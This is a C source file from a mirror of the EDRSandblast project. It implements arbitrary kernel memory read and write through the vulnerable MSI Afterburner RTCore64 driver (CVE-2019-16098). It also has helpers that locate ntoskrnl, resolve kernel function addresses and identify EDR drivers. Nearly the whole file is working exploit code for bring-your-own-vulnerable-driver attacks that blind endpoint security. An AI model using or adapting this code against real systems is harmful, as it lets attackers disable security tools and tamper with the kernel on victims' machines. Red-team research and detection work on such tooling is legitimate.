mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
175 lines
5.4 KiB
C
175 lines
5.4 KiB
C
/*
|
|
|
|
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
|
|
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
|
|
|
|
*/
|
|
|
|
#include "KernelMemoryPrimitives.h"
|
|
|
|
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
|
|
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
|
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
|
|
|
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
|
|
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
|
MemoryRead.Address = Address;
|
|
MemoryRead.ReadSize = Size;
|
|
|
|
DWORD BytesReturned;
|
|
|
|
DeviceIoControl(Device,
|
|
RTCORE64_MEMORY_READ_CODE,
|
|
&MemoryRead,
|
|
sizeof(MemoryRead),
|
|
&MemoryRead,
|
|
sizeof(MemoryRead),
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
return MemoryRead.Value;
|
|
}
|
|
|
|
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
|
|
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
|
|
MemoryRead.Address = Address;
|
|
MemoryRead.ReadSize = Size;
|
|
MemoryRead.Value = Value;
|
|
|
|
DWORD BytesReturned;
|
|
|
|
DeviceIoControl(Device,
|
|
RTCORE64_MEMORY_WRITE_CODE,
|
|
&MemoryRead,
|
|
sizeof(MemoryRead),
|
|
&MemoryRead,
|
|
sizeof(MemoryRead),
|
|
&BytesReturned,
|
|
NULL);
|
|
}
|
|
|
|
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
|
|
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
|
|
}
|
|
|
|
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
|
|
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
|
|
}
|
|
|
|
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
|
|
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
|
|
}
|
|
|
|
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
|
|
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
|
|
}
|
|
|
|
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
|
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
|
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
|
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
|
}
|
|
|
|
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
|
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
|
|
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
|
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
|
}
|
|
|
|
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
|
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
|
|
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
|
}
|
|
|
|
/*
|
|
|
|
--- Kernel exploitation helpers.
|
|
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
|
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
|
|
|
*/
|
|
|
|
DWORD64 FindNtoskrnlBaseAddress(void) {
|
|
DWORD cbNeeded = 0;
|
|
LPVOID drivers[1024];
|
|
|
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
|
return (DWORD64)drivers[0];
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
|
|
|
|
LPVOID drivers[1024];
|
|
DWORD cbNeeded;
|
|
int cDrivers = 0;
|
|
int i = 0;
|
|
TCHAR szDriver[1024] = { 0 };
|
|
DWORD64 minDiff = MAXDWORD64;
|
|
DWORD64 diff;
|
|
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
|
|
cDrivers = cbNeeded / sizeof(drivers[0]);
|
|
for (i = 0; i < cDrivers; i++) {
|
|
if ((DWORD64)drivers[i] <= address) {
|
|
diff = address - (DWORD64)drivers[i];
|
|
if (diff < minDiff) {
|
|
minDiff = diff;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
|
return NULL;
|
|
}
|
|
|
|
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
|
|
|
|
if (verbose) {
|
|
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
|
|
}
|
|
|
|
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
|
|
|
|
if (!ptrDrvier) {
|
|
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
|
|
return NULL;
|
|
}
|
|
|
|
_tcscpy_s(ptrDrvier, 1024, szDriver);
|
|
return ptrDrvier;
|
|
}
|
|
else {
|
|
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
|
|
return NULL;
|
|
}
|
|
}
|
|
|
|
HANDLE GetDriverHandle() {
|
|
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
|
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
|
|
|
if (Device == INVALID_HANDLE_VALUE) {
|
|
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return Device;
|
|
}
|
|
|
|
DWORD64 GetFunctionAddress(LPCSTR function) {
|
|
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
|
DWORD64 address = 0;
|
|
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
|
if (ntoskrnl) {
|
|
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
|
address = ntoskrnlBaseAddress + offset;
|
|
FreeLibrary(ntoskrnl);
|
|
}
|
|
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
|
return address;
|
|
} |